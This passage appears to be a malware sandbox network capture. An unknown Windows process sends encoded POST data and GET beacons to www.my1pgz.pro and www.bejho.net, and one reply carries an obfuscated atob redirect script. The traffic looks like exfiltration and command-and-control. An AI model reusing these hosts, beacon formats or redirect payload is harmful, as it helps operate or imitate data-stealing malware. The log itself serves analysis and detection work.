SLTxDJ=EUpHXkzbWExmqT4O6XfNM1V2z65qAcODnl1AT2js4Mw6IGp6Cp5JR0fdZPPDJ+Ct+qaQFFaK9iLzC/rWkGgHNf4GmUIW7cjmXGpT6CzN0JkVRC0FwfRvaKVvNrO4VgnGVqexDkR85NqtMwaO79qnrwi1ZFL2STtXRffnFIK3znYgvUL26xxLXGF9EdMQ4tyVtQ==
Oct 3, 2024 18:11:54.873414993 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:11:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49731	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:11:57.399815083 CEST	798	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 37 43 49 4f 32 51 7a 4e 4a 56 56 31 76 4b 35 71 5a 4d 4f 48 6e 6c 35 41 54 79 37 61 34 35 6f 36 49 6e 35 36 44 6f 35 4a 64 55 66 64 57 76 4f 4a 4b 4f 43 6d 2b 71 58 6c 46 48 2b 4b 39 69 50 7a 43 2b 62 57 6b 33 67 45 66 2f 35 67 72 30 4a 51 34 73 6a 6d 58 47 70 54 36 44 57 6f 30 4b 55 56 52 7a 45 46 78 2b 52 6f 54 71 56 75 61 62 4f 34 52 67 6e 43 56 71 65 54 44 6c 39 57 35 4a 61 74 4d 79 79 4f 34 76 4f 6d 34 51 69 33 47 56 4c 6a 64 53 31 5a 58 4c 69 54 4f 35 53 53 35 6c 67 72 71 43 61 73 6e 44 46 76 55 56 5a 50 41 74 31 34 36 76 7a 4f 77 55 58 48 65 2f 66 6b 62 62 31 42 43 69 49 42 4c 56 78 61 2f 70 67 3d Data Ascii: SLTxDJ=EUpHXkzbWExm7CIO2QzNJVV1vK5qZMOHnl5ATy7a45o6In56Do5JdUfdWvOJKOCm+qXlFH+K9iPzC+bWk3gEf/5gr0JQ4sjmXGpT6DWo0KUVRzEFx+RoTqVuabO4RgnCVqeTDl9W5JatMyyO4vOm4Qi3GVLjdS1ZXLiTO5SS5lgrqCasnDFvUVZPAt146vzOwUXHe/fkbb1BCiIBLVxa/pg=
Oct 3, 2024 18:11:57.719355106 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49732	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:00.225676060 CEST	7947	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 37 43 49 4f 32 51 7a 4e 4a 56 56 31 76 4b 35 71 5a 4d 4f 48 6e 6c 35 41 54 79 37 61 34 36 49 36 50 56 68 36 43 4c 68 4a 63 55 66 64 66 50 4f 4b 4b 4f 43 42 2b 71 66 70 46 48 79 61 39 67 6e 7a 54 73 54 57 69 46 59 45 47 50 35 67 69 55 49 58 37 63 69 38 58 47 5a 66 36 44 47 6f 30 4b 55 56 52 77 63 46 68 66 52 6f 56 71 56 76 4e 72 4f 6b 56 67 6e 36 56 70 76 75 44 6c 4a 73 35 36 53 74 4e 53 69 4f 72 74 57 6d 37 77 69 35 46 56 4b 6d 64 53 49 62 58 4c 58 6f 4f 35 57 6f 35 69 45 72 72 46 7a 4c 2f 43 64 4e 47 56 46 4d 48 76 56 61 33 38 69 64 36 44 4b 38 50 4e 54 6c 63 4f 42 48 4c 45 4d 64 55 57 31 61 71 2f 45 71 31 78 42 54 58 41 72 73 79 49 31 33 65 33 79 36 4a 4d 35 74 6b 57 46 57 36 2f 63 68 56 4b 65 46 79 79 33 49 6c 37 72 35 4a 6c 6a 76 4f 62 38 56 71 62 41 70 42 78 53 31 54 4a 7a 4d 42 49 71 4c 74 75 6c 55 73 47 66 56 4a 7a 42 56 63 65 70 34 63 6b 52 34 79 79 59 38 39 49 64 51 4a 39 74 6c 6a 39 4c 4f 7a 5a 44 33 58 58 71 6e 4a 4b 64 37 6e 78 6a [TRUNCATED] Data Ascii: SLTxDJ=EUpHXkzbWExm7CIO2QzNJVV1vK5qZMOHnl5ATy7a46I6PVh6CLhJcUfdfPOKKOCB+qfpFHya9gnzTsTWiFYEGP5giUIX7ci8XGZf6DGo0KUVRwcFhfRoVqVvNrOkVgn6VpvuDlJs56StNSiOrtWm7wi5FVKmdSIbXLXoO5Wo5iErrFzL/CdNGVFMHvVa38id6DK8PNTlcOBHLEMdUW1aq/Eq1xBTXArsyI13e3y6JM5tkWFW6/chVKeFyy3Il7r5JljvOb8VqbApBxS1TJzMBIqLtulUsGfVJzBVcep4ckR4yyY89IdQJ9tlj9LOzZD3XXqnJKd7nxjl82C0iceFdefoBiA1cXHTQMgwqaJbjF16H/TtzJHjHUY8z7yTLkYpzyHX+jbXjrlyLkih9iezKooKsRbiA8JNF81c190bki8IjK3Vmf8DeD1ru4T2Gp+9ItKGqjFG/xbuLwDma0CId6HYOrNEanJVcCy9k4JeVcaqjtHBtcBomNpExEH6GA2jbEfOPmtMaPFiYBPJ8ZfSTU4NNTfchLJ4nfEpFQUHQhjCvXsLEWlyAigJKSXzm3JTNLmcvYCZfwjcibdIcVfOEb2BWywBRExGEFbjSD6/7l0SZkQPXp7KMSp5upZ2nruGJxiPNNF+GTrySk0DNeAHWP/ylr7kLO8Ajmfzqs0z+3gkcodBtJvrnZcu6GaqjbvVs3UhnDoQh01DoYzAt9xBkYN7Dprqb8X6WOlj0ZqUuCHSS2myTOBpHTKALWAWBAgqn+4/zU8rqvc4uhdKUJHBDQ1hJ9kTd76wwGhE6HDOKPKuEHZkeoG6sTWlqYVf9MICMIkTpL7depxnXXF93u72eIKrU5TFRwy3Unb1thPtM3vXjyhQ4YpGq1t1VimvellDJpNMweGGttyBZNhGhRpn2PSl6/v0KeQs4U36xogCcewJtFe2Do00WP/fXcRteenuM91gLWTqHg94yqgE9P/45tw8SkbhGBEjjI9viuW9FlB7K [TRUNCATED]
Oct 3, 2024 18:12:00.538116932 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:12:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49733	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:03.054605007 CEST	516	OUT	GET /4db5/?sdqp=DdBtjpu0&SLTxDJ=JWBnURPzURxMoi4xzS/0RXpO95Qff8eMjFIVKD34+5pZP2tDVIV6Y1ntZozAJNHS65jkGG3Y+j6DOJzUlHYrNaxIv254yPfrR3c04RHEiI0VSClr7epecsQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.my1pgz.pro Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:12:03.369936943 CEST	332	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:12:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Data Raw: 35 37 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 5b 27 68 27 2b 27 72 65 27 2b 27 66 27 5d 20 3d 20 61 74 6f 62 28 27 61 48 52 30 63 48 4d 36 4c 79 38 34 5a 6a 45 35 4c 6d 31 35 4d 58 68 7a 62 69 35 77 63 6d 38 36 4f 44 67 32 4e 77 3d 3d 27 29 3c 2f 73 63 72 69 0d 0a 33 0d 0a 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 57<script>location['h'+'re'+'f'] = atob('aHR0cHM6Ly84ZjE5Lm15MXhzbi5wcm86ODg2Nw==')</scri3pt>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49734	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:08.825699091 CEST	775	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 48 69 54 36 32 48 59 43 76 59 79 74 79 54 6b 41 43 79 52 7a 41 30 4d 4c 6e 79 44 46 59 77 71 36 6d 6c 39 71 32 61 7a 61 35 38 36 71 55 6d 64 71 59 54 57 4c 4e 2f 35 6d 78 54 78 30 6d 6c 72 4d 5a 2f 61 73 47 6f 34 34 5a 42 79 6f 32 62 52 61 4a 31 6d 4b 65 48 6b 6a 51 4b 5a 56 39 4a 7a 33 70 59 52 52 34 51 31 30 4b 55 6a 74 62 54 5a 72 53 38 48 39 79 43 57 61 35 59 57 46 66 38 63 57 54 31 65 32 62 44 78 49 4a 4d 4d 51 68 65 49 62 49 32 4e 43 70 4b 63 4d 45 4b 47 61 4b 68 47 75 58 2f 61 44 30 78 54 69 50 45 47 61 48 74 58 35 62 31 71 62 65 51 3d 3d Data Ascii: SLTxDJ=u84mNWh6bCMqHiT62HYCvYytyTkACyRzA0MLnyDFYwq6ml9q2aza586qUmdqYTWLN/5mxTx0mlrMZ/asGo44ZByo2bRaJ1mKeHkjQKZV9Jz3pYRR4Q10KUjtbTZrS8H9yCWa5YWFf8cWT1e2bDxIJMMQheIbI2NCpKcMEKGaKhGuX/aD0xTiPEGaHtX5b1qbeQ==
Oct 3, 2024 18:12:08.986848116 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:12:08 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49735	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:11.519035101 CEST	795	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 46 44 44 36 7a 6b 41 43 6e 59 79 71 39 7a 6b 41 49 53 52 33 41 30 49 4c 6e 7a 33 56 5a 47 79 36 6d 45 4e 71 33 62 7a 61 38 38 36 71 66 47 64 56 57 7a 57 41 4e 2f 39 45 78 57 4a 30 6d 6c 2f 4d 5a 2f 4b 73 48 62 41 37 61 78 79 71 71 62 52 69 55 6c 6d 4b 65 48 6b 6a 51 4b 4e 2f 39 4a 72 33 70 4a 42 52 34 79 4e 72 44 30 6a 69 4c 44 5a 72 66 63 48 35 79 43 58 35 35 5a 4b 72 66 2f 6b 57 54 30 75 32 62 33 45 65 51 38 4d 53 2b 75 4a 46 50 55 38 51 6c 2b 34 4f 4c 4b 71 58 4e 54 6d 6b 62 4a 4c 5a 70 44 6e 47 4d 58 61 6f 44 64 75 52 5a 33 72 41 44 57 70 63 58 4a 77 41 4b 6b 57 65 58 74 56 66 66 32 43 33 77 53 38 3d Data Ascii: SLTxDJ=u84mNWh6bCMqFDD6zkACnYyq9zkAISR3A0ILnz3VZGy6mENq3bza886qfGdVWzWAN/9ExWJ0ml/MZ/KsHbA7axyqqbRiUlmKeHkjQKN/9Jr3pJBR4yNrD0jiLDZrfcH5yCX55ZKrf/kWT0u2b3EeQ8MS+uJFPU8Ql+4OLKqXNTmkbJLZpDnGMXaoDduRZ3rADWpcXJwAKkWeXtVff2C3wS8=
Oct 3, 2024 18:12:11.677853107 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:12:11 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49736	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:14.207335949 CEST	7944	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 46 44 44 36 7a 6b 41 43 6e 59 79 71 39 7a 6b 41 49 53 52 33 41 30 49 4c 6e 7a 33 56 5a 47 36 36 6c 79 35 71 31 38 66 61 37 38 36 71 53 6d 64 55 57 7a 57 6e 4e 37 52 41 78 57 31 6b 6d 6e 48 4d 66 5a 47 73 4f 4b 41 37 4e 42 79 71 68 37 52 5a 4a 31 6d 66 65 48 30 2f 51 4b 64 2f 39 4a 72 33 70 4b 4a 52 2b 67 31 72 46 30 6a 74 62 54 5a 33 53 38 47 6d 79 43 66 48 35 5a 4f 56 66 76 45 57 54 55 2b 32 49 55 73 65 5a 38 4d 55 39 75 4a 4e 50 55 78 4f 6c 36 52 2f 4c 4b 4f 78 4e 53 69 6b 4c 76 69 52 37 41 6d 65 62 6c 48 2f 65 2b 36 38 66 30 7a 54 4a 58 70 7a 58 61 38 4a 4e 54 71 35 58 4f 74 44 4d 56 76 31 73 55 41 48 55 6b 47 67 61 49 51 4d 4f 64 32 44 4c 34 68 2b 35 4a 4d 69 53 70 63 61 41 66 45 39 39 33 66 59 42 56 39 77 30 77 72 6d 4e 52 76 69 32 4a 4b 4e 6a 44 50 77 6f 46 45 6a 70 62 39 53 6b 45 2f 43 63 65 57 74 54 42 78 5a 65 67 64 76 37 6a 5a 47 42 78 38 4b 41 56 74 49 41 6c 43 78 76 69 79 34 79 4a 69 79 62 6c 50 63 53 78 78 63 4c 59 64 36 53 66 35 [TRUNCATED] Data Ascii: SLTxDJ=u84mNWh6bCMqFDD6zkACnYyq9zkAISR3A0ILnz3VZG66ly5q18fa786qSmdUWzWnN7RAxW1kmnHMfZGsOKA7NByqh7RZJ1mfeH0/QKd/9Jr3pKJR+g1rF0jtbTZ3S8GmyCfH5ZOVfvEWTU+2IUseZ8MU9uJNPUxOl6R/LKOxNSikLviR7AmeblH/e+68f0zTJXpzXa8JNTq5XOtDMVv1sUAHUkGgaIQMOd2DL4h+5JMiSpcaAfE993fYBV9w0wrmNRvi2JKNjDPwoFEjpb9SkE/CceWtTBxZegdv7jZGBx8KAVtIAlCxviy4yJiyblPcSxxcLYd6Sf5Chxb+GOM6/jG8m0lVkOAcpdM+HseyLUqpU+MRCQmYZksetKcHeLmYt2CSglLUqAZX3xqQTspT5q6OfVCDxiDbWrSaxQQ4Z6Jp16cZVnhRltNSdYcSFwu9MFqULbLmv8uhXsn+1b25gLhtXzGK3Gzt90uLEzXOmW3MXIGCEh6R3P/4pXr1jEZyhMD0CTryo+wJBEoJ+Gr9S/LDrQcFG4e+jd56ZWu0amBf7wLCBNM5BTsLZwFSDYD2Uku9gLqGxYhJwT+xzABr9mDmJDau8FMEsForyx/MXpmdj03Q23XhX/sInN8m+tQn5DQcdJ+YcpXB6saxcI8KkoOzvFENrGjio0jw5GinapzX9lXhER/72vlxWD3KgSqQMC9QnTvtJlNCPBjtk6rndoujQr+IfLD1xdhoeui+R/RrnizTO0l028foDubHxs21D48+SvAzm83CBKK2pUwlQsy/zbehkLF8atM6v9wUeiFMcbuhH4sfkY2Bg9UJCnatQ92CHR4ZCWoBPrD760HQpCZFx8FIUOxkwHUAdTHO1jSGY6irCw8roIH5sK7hijHJyf30PHFsJ9pzD3zP6ylMQSd1krwoXafqwHaEDk6WzCllKYv9xmZPDMUgPWhYcq31tC/7Fs64NoC00j6iVU+ZK7XMZ//OCssWSeniU0BN1EKvc [TRUNCATED]
Oct 3, 2024 18:12:14.366513968 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:12:14 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49737	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:12:16.892107964 CEST	515	OUT	GET /m4fe/?SLTxDJ=j+QGOmJgLx8aZTbQ/UU455ao2mlxc0BwRC8m2DvQUT3YjU8qv77b8K+aSHVJXg73d6cB6HYz/W+ec5eRF6coKG6Ok7VuH1Gqb2tjeoQuqK3f3rky9yZBMig=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.bejho.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
